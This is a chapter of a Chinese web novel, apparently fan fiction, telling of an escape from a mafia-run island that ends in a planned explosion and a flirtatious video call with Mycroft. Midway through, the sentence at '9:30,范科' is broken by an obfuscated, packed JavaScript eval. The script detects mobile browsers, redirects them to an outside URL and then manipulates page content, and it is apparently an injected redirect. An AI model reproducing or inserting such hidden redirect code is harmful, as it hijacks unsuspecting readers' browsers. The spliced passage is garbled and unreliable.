有些人的导师不负责任很可恶,但像亚当导师这样太负责任、死前都不忘记给自己带的学生推荐工作的,也够可怕的:“你的父母呢?他们应该会联系警察找你吧?” 亚当耸起肩膀:“我一年到头都见不到我爸几次,我妈又只是个夜班护士……说实话,我不觉得我母亲有办法找到我。” “她的工作挣不到太多钱,警方又不太可能为了我这样的普通人投入那么多的警力——更别提是和意大利的范科家族作对。我只希望自己能找机会逃出去……但我做不到了,对吧?明天早上,我还是会拒绝他们的要求,然后卢克就会杀死我——” “不。”兰泽尔拖长了尾音,撬开一瓶啤酒,“你才不会死,好吗?” “……?”亚当愣了一下,“什么意思?” 兰泽尔咂了下嘴:“我说了我喜欢你的性格。所以我会帮你离开这个鬼地方。” “什么?”还挑着帘子试图寻找死神的斯奈特闻声回头,“怎么帮?他前半辈子都在学校里养肥膘,现在又断了一条腿,连走路都不方便,你想怎么——” “办法是人想出来的,好吗?”兰泽尔拎着酒站起身,“我到酒厂外面吹会凉风,这火烤得我快熟了。” · 兰泽尔出门当然不是为了吹冷风,他在脏乱差的环境里也能住,但不代表他喜欢没苦硬吃。这时候出门的唯一原因,当然就只有不想在人前犯病。 但他高估了身体的承受能力,三天之内四次用脑,疼痛就像一根闷棍敲在他后脑上,直接把他抡倒在地。再恢复知觉时,就觉有人正揽着他的脖颈,将他扶坐起来,耳畔是斯奈特略带急促的低喊。 “……我没事。”他推搡了一下斯奈特,自己撑着墙站起来,抬手抹了把鼻翼以下,不出意外又是一手血。 斯奈特绷着脸将纸巾怼在他脸上,不怎么温柔地搓了几下:“这不是第一次了。” “什么?嘿!住手。”兰泽尔躲来躲去,忽然共情了那些不想被大人擦鼻涕的小屁孩,有些大人手上确实是有点没轻没重。 “这不是你第一次这样……不管你管这个叫什么,我在酒店收拾房间的时候也看到了被血浸透的纸巾。”斯奈特像是打定主意这次要问清楚了,被兰泽尔抢过纸巾后仍然坚持问,“这就是那个麦考夫给你寄药的原因吗?因为你一想问题就失血?” 兰泽尔擦血的动作一顿,有些讶异地看过去,那意思:这你居然能看出来? 这一路确实因为摆烂没怎么主动出主意的斯奈特:“……嘿。我不占据主导权不意味着我不能,好吗?所以你这到底是什么毛病?” “……”兰泽尔撇了下嘴,耸耸肩,“没什么,小毛病。——哦别那么看着我,这事连麦考夫都不清楚前因后果,你是想跟麦考夫争宠吗?” 斯奈特硬是被堵得无话反驳:“……行吧!那你为什么不告诉麦考夫?失血这件事暂且不提,注射血液那件事,为什么你不直接告诉他这对你没好处?” “……”兰泽尔放下手,凝视斯奈特,对方的漂亮脸蛋的确有让兰泽尔变得心软一点,“我发现你真的很会问一些难以回答的问题。” “我有我的原因,明白吗?就像你妹妹,你有没有想过,为什么从某一天起,你那个眼睛会闪光的妹妹突然消失了?” “?这两者之间有什么联系?”斯奈特无法理解,“别跟我东拉西扯——” “我没有。”兰泽尔拍了拍斯奈特的胸口,语气真诚,但也带着拒绝再继续谈心的不容置喙,“当你知道你所熟识的那个妹妹为什么消失,你就会知道我为什么会沦落到现在这副鬼样子了。至于现在?” “进门吧,斯奈特。我知道该怎么做了。” · 接下来的半个月,莫西干头惊奇地发觉之前那个倔得像茅坑里的硬石头一样的臭小子忽然开了窍,头一回主动走进工坊开始制“糖”。灰发幕僚为此特地来检视了好几次,讶异地发觉亚当岂止是在配合,他甚至主动改进了制糖的配方。唯一的问题是当下的配方成本实在太过高昂,但亚当表示一旦能攻破降低成本的难关,此前一切投资都是值得的。 与此同时,酿酒厂也重新开工。 兰泽尔天天带着斯奈特在地下酒窖里爬上爬下,仅用不到十天的时间,就用各类仿酒重新填满了空荡好几年的地下酒窖。 后续的十来天,他们甚至有余裕实验兰泽尔自己的酿酒配方,带着自酿的酒到处送人,要不是从头开始建立酒品牌成本太高,小范科都想过要不要干脆专门建个公司来卖兰泽尔的自酿酒。 一切都在平稳而顺当的推行着。 包括莫里亚蒂和小范科为最后的血洗而进行的渗透计划。 这两位大人物废寝忘食起来,根本没再有闲心去注意一个惊鸿一瞥,令自己感到亢奋的小角色——毕竟莫里亚蒂现在的心头好仍是伦敦的那位咨询侦探,其余人再别有风味,也不过是褪色的朱砂痣、次等的备用品,并不值得莫里亚蒂慢下日理万机的脚步。 就这样,最重要的那天来临了。 “好消息!”兰泽尔走进新建好的豪华公寓,步子刚跨过门槛,又推了出去,遗憾地摸了一下新居的浮雕廊饰,才重新跨进屋内,“从美国来的游轮到岸了。” “……”斯奈特保养冷冻枪的动作微顿,下一秒“咔嚓”上膛,从桌肚下摸出三张亚当从制糖厂偷出来的防毒面具,将其中一张丢给兰泽尔,“亚当造出的第一批‘糖’会在今晚11点半装载上游轮,和其他货物一起运输出港。他本人已经作为负责的制糖师,先一步登上船了。” “很好,所有事都安排妥当……”兰泽尔抬手看了眼花范科家族的钱新买的劳力士,“晚上九点。我们还有两个半小时。” 等待是最磨人的事。 9:30,范科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186829|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家族才抬着为防逃跑,被药迷晕的金色滑翔者抵达酒厂。 9:50,金色滑翔者苏醒,看着她哥就下意识地爆发出一声尖叫,斯奈特足足花了十分钟才跟妹妹解释清楚事情的来龙去脉和计划:“……所以等卢克睡着以后,我们就悄悄潜上游轮,带着亚当一起用救生艇逃走。你听明白了吗?” “好吧……行。”丽莎始终拿不信任的眼光打量着兰泽尔,很快又收回视线,急切地抓住斯奈特的手,“但我们一定得带上那什么亚当吗?听我说……我的男友——” “不,丽莎。别说了。”斯奈特已经开始感受到心梗。 丽莎坚持说完:“——他也在这儿,被扣着作为确保我能完成工作的人质,我不能丢下他就走!我知道救生艇不够大,但只要我们丢下那个瘸子,我的艾尔伯就可以——” “咚!” 兰泽尔收回锤晕丽莎的手,无辜地冲着斯奈特眨眨眼:“怎么了?总不能真让她破坏计划吧?你妹妹比亚当轻多了,我可以扛着她上船。” 斯奈特本来下意识想维护妹妹,但本能反应褪去后,他不得不承认这是最好的决定:“……我很抱歉。” 他很少对人说这句话,哪怕是无赖帮的手下。绝大多数时候,他都不会向任何人袒露自己的疲惫,更不能承认自己的错误。 “有时候我也会想……是不是该放弃她。” “你会吗?”兰泽尔掂量了一下丽莎的重量问。 斯奈特沉默了片刻:“不。我不会。” “那你就有可能等到那个熟悉的妹妹回来。”兰泽尔扛起丽莎,拍了拍斯奈特的肩膀,“来吧!戴上面具。我听见卢克的呼噜声了,开始行动吧。” 10:10,兰泽尔和斯奈特越过岛上的巡逻关卡。 他们发觉离海岸越近的地方,把手的人员越少,看灯光,似乎绝大多数守卫都集中到了古堡的方向。 10:55,两人终于带着丽莎成功穿过港口,进入游轮。 11:10。斯奈特用冷冻枪杀死了看守亚当的守卫,和亚当一起去取救生艇。 11:25,救生艇到手。又5分钟,游轮启程的汽笛长长拉响。 “呜——” 兰泽尔坐在下层逃生舱的地板上,左手躺着还昏迷着的丽莎,右手躺着守卫一二三的尸体。 但身边堆着多少人并不能削减兰泽尔的兴致,他对着手机镜头仔细打理了一下自己的黑发,直到斯奈特低声催促,才扛起丽莎,跳进救生艇里。 亚当飞快启动斯奈特日夜不休打造出的外置引擎,被临时漆成黑色的救生艇顿时载着船上四人,驶向远离小岛的黑夜。 “我们成功了?”亚当猛然跌坐在救生艇上,张着嘴有些缓不过神,“——但那些我做出的毒.品——” 兰泽尔冲亚当嘘了一声,挂着微笑看向岛上。 11:30。 火光骤然从古堡的方向绽开。 已经积蓄了太久力量和仇恨的继承人们终于撕开岌岌可危的和平。枪弹之下,只有死亡和征服才是赢得权柄的真理,所有人都在火并点燃的火海中嘶吼,疯狂得像最原始的、争夺地盘的野兽。 11:57。 最残忍的野兽获得了最终的胜利,他穿着被血染红的西装,用撬棍将敌人的头颅高高举起,向着自己的附属们咆哮,宣泄胜利的得意,进行继任以来的第一次示威。 12:00. 兰泽尔终于摁下手机屏幕上的视讯通话键。短暂的两声忙音后,视讯被对面的人接通,兰泽尔立即对着小岛举起手机:“Suprise!准备好看我为你准备的烟火表演了吗?” “?”一旁头一次目睹火并和杀人,还沉浸在惊恐应激中的亚当下意识地回头,有点弄不明白兰泽尔指的烟火表演是什么。火并不是已经结束了吗?这时候再拍摄,也拍不到什么东西啊? 正这么呆呆地想着,亚当忽觉岛屿的方向爆亮起一片明亮的光。下一刻。 “轰————!!!” 强光伴随着天崩地裂般的爆炸声,瞬间吞没了他。声浪和爆炸造成的震荡波猛然荡开,令千米之外的救生艇都随之一晃。 装载着货物的游轮不复存在了。 制造罪恶源头的造糖厂不复存在了。 整座岛屿都因藏在酒窖中、藏在分发的酒瓶底的炸.药轰然沉没,连带着刚刚踩着对手的尸首,获得胜利的新一代范科家族一起。 兰泽尔冲着火光兴高采烈地调整着手机的角度:“看见了吗?你看见了吗?喜欢吗?” 麦考夫的声音过了一会才从手机中传出来:“看什么?你给你增加的烂摊子?” 兰泽尔啧了一声,抬起头,将手机向后仰了一下,正准备发起“你怎么不珍惜我的好意”的质问,目光忽地定住了。 炽红的火光映照着手机屏幕,遥远的火舌倒影在镜中,舔舐着屏幕中正随着急促呼吸起伏的赤.裸身躯。 这具身躯的主人显然在这“半个月”里经受了不少锤炼,刚训练完毕的汗水沿着悍利结实的肌肉蜿蜒而过,顺着劲瘦的腰没入下方军裤。 兰泽尔的目光从收束出腰部线条的皮革腰带上一扫而过,之前想的质问忽然就忘了词了。半晌才舔了一下下唇:“看起来我离开的这半个月你没少去健身房。减了不少体重,嗯?” 昏暗的别墅里,麦考夫跳下登山机,拿起了手机:“我还有什么别的选择?不想饿肚子,总得为开始狩猎做点准备。” 他带着手机一道走进浴室,将手机横放在杂物柜台上,打开花洒。淅淅沥沥的水声立即隔着话筒传过来,伴随着麦考夫语气平淡的话语: “I miss you, Lanzer.Every day,every night.(我想念你,兰泽尔。每一个白天,每一个黑夜。)” “——You made me so.(是你把我变成现在这样的。)” “So did you miss me?(所以你想念我吗?)” 花洒的水声逐渐蔓延开,湿意仿佛跨过遥远的洋海,穿过冰冷的屏幕蔓延而来,浸上兰泽尔抵着屏幕的手指。 兰泽尔的心跳逐渐加快,呼吸放缓,瞳孔扩散,四周一切火焰、浓臭的烟气,仿佛都被那一方花洒浇淋下的水扑灭了。 他张了张嘴,听见自己的声音有些沙哑:“一点没有。每天都和斯奈特过得很开心。这会让你变得更生气吗?” 他笑起来,唇贴上手机的收音孔,轻声说:e get me,Mycroft.Make me miss you(来抓我吧。麦考夫。让我想念你。)”